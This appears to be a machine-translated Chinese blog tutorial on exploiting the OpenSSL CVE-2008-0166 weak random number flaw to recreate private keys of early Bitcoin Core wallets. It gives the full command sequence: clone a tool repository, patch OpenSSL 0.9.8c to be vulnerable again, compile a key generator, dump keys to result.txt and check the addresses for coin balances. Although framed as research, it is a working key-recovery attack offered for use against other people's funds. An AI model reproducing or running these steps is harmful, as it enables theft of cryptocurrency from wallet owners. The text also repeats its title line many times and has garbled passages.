在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

在本文中,我們將創建一個使用 CVE-2008-0166 漏洞生成比特幣地址 (P2PKH) 的工具。這是一個在早期版本的比特幣核心軟件客戶端上尋找比特幣的研究項目。

 生成可預測 數字的隨機數生成器CVE -2008-0166

VAIM-檢測到 OpenSSL 0.9.8/1.0.0

關鍵漏洞版本 OpenSSL 0.9.8 CVE-2008-0166 僅填充了進程 ID。由於字節順序和 sizeof(long) 之間的差異,輸出依賴於體系結構:  32位大端(例如 i386)、  64位大端(例如 amd64, ia64)、  32位大端(例如 powerpc 、斯巴克)。 PID 0 是核心,並且 PID_MAX (32768)不是通過移植達到的,因此  每個架構有32767 個可能的隨機數流。

在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

比特幣核心軟件客戶端使用 OpenSSL. 具體來說,它使用一個函數 «EC_KEY_generate_key()» 來生成比特幣地址 (如密鑰) 以接收付款。舊版本的比特幣核心生成並存儲 100 個 密鑰 wallet.dat

只有在收到比特幣付款時才會生成新密鑰。因此,Bitcoin Core 軟件客戶端維護著一個包含 100 個 未使用的比特幣密鑰 (地址)的池。內部隨機數生成器的狀態取決於 OpenSSL 調用之前 'EC_KEY_generate_key()'在庫中進行的其他調用。影響 RNG 內部狀態的挑戰: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».

因此研究是通過大量舊的比特幣資源來找出在調用之前進行了哪些調用影響了 RNG 的內部狀態比特幣核心軟件 «EC_KEY_generate_key()». 客戶端版本之間的調用路徑變化

該研究重點關注以下版本:

|  發布日期 |  版本 |
| 發布日期 | 版本|

(le32/le64)我們的目標是使用來自關鍵漏洞的隨機數,為每個版本的比特幣核心軟件客戶端、每個架構、每個進程 ID 和比特幣地址 生成私鑰 (P2PKH)。 OpenSSL 0.9.8.

最終,我們將創建一個比特幣地址生成器 (P2PKH) 並將所有內容保存到一個文件中 result.txt

所有內容都將存儲在 Google 雲端硬盤文件存儲中
所有內容都將存儲在 Google 雲端硬盤文件存儲中

使 OpenSSL 再次易受攻擊

為此,我們將使用 來自 Google Colab 的分發包“Ubuntu 18.04.5 LTS” 

在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

之前,我們錄製了 一個視頻教程:  “Google Colab 中的 TERMINAL 創造了在 GITHUB 中工作的所有便利”

在終端[TerminalGoogleColab]中打開 Google Colab 

讓我們運行命令:

cat /etc/lsb-release
“Ubuntu 18.04.5 LTS”
“免費 18.04.5 LTS”

讓我們轉到 “CryptoDeepTools”存儲庫  並查看詳細信息

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/05VulnerableOpenSSL/

ls -lh
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

更新並安裝 g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y
安裝 g++
安裝 g++
sudo apt-get install libgmp3-dev libmpfr-dev -y
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
安裝軟件包 libgmp3-dev libmpfr-dev
安裝軟件包 libgmp3-dev libmpfr-dev

為了 像CVE-2008-0166OpenSSL 一樣再次受到攻擊 ,下載openssl-0.9.8c.tar.gz並修補系統文件
  

wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
tar xfz openssl-0.9.8c.tar.gz
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
mv openssl-0.9.8c openssl-0.9.8c-vuln

cd openssl-0.9.8c-vuln
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
ls -lh
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

在 LE-64 系統中我們使用:

./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
make depend all
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

讓我們回到 content/ 目錄

cd /

ls
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
cd content/CryptoDeepTools/05VulnerableOpenSSL/

ls -lh
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

彙編:

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto

ls -lh
cryptodeepbtcgen 成功創建!
cryptodeepbtcgen 成功創建!
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

比特幣核心軟件客戶端的所有受支持版本:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0   - 0.3.24
#1   - 0.8.6-d
#2   - 0.8.6-qt
#3   - 0.9.1-d
#4   - 0.9.4-d
#5   - unknownA
#6   - unknownB
#7   - unknownC
#8   - unknownD
#9   - unknownE
#10  - unknownF
#11  - unknownG
#12  - unknownH
#13  - unknownI
#14  - unknownJ
#15  - unknownK
#16  - unknownA0
#17  - unknownA1
#18  - unknownA2
#19  - unknownA3
#20  - unknownA4
#21  - unknownB0
#22  - unknownB1
#23  - unknownB2
#24  - unknownB3
#25  - unknownC0
#26  - unknownC1
#27  - unknownC2
#28  - unknownD0
#29  - unknownD1
#30  - unknownD2
#31  - unknownD3
#32  - unknownD4
#33  - unknownD5
#34  - unknownE0
#35  - unknownA0x
#36  - unknownA1x
#37  - unknownA2x
#38  - unknownA3x
#39  - unknownA4x
#40  - unknownB0x
#41  - unknownB1x
#42  - unknownB2x
#43  - unknownB3x
#44  - unknownC0x
#45  - unknownC1x
#46  - unknownC2x
#47  - unknownD0x
#48  - unknownD1x
#49  - unknownD2x
#50  - unknownD3x
#51  - unknownD4x
#52  - unknownD5x
#53  - unknownE0x
crypto >

運行 cryptodeepbtcgen -n 32 -v 0:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt
運行 cryptodeepbtcgen
運行 cryptodeepbtcgen

Google Drive 一切都將作為文本文件 保存在文件存儲中 result.txt

在具有嚴重漏洞 OpenSSL 0.9.8 CVE-2008-0166 的早期版本的 Bitcoin Core 上搜索 BTC 硬幣

檢查私鑰!

在bitaddress網站上查看私鑰
在bitaddress網站上查看私鑰

接下來,檢查所有生成的比特幣地址是否存在 BTC 硬幣,為此我們可以使用 Python 腳本:  bitcoin-checker.py

來源

視頻素材: https: //youtu.be/zHkXups2I8k

來源:  https ://cryptodeep.ru/vulnerable-openssl

https://www.youtube.com/embed/zHkXups2I8k

 密碼分析

Crypto Deep Tech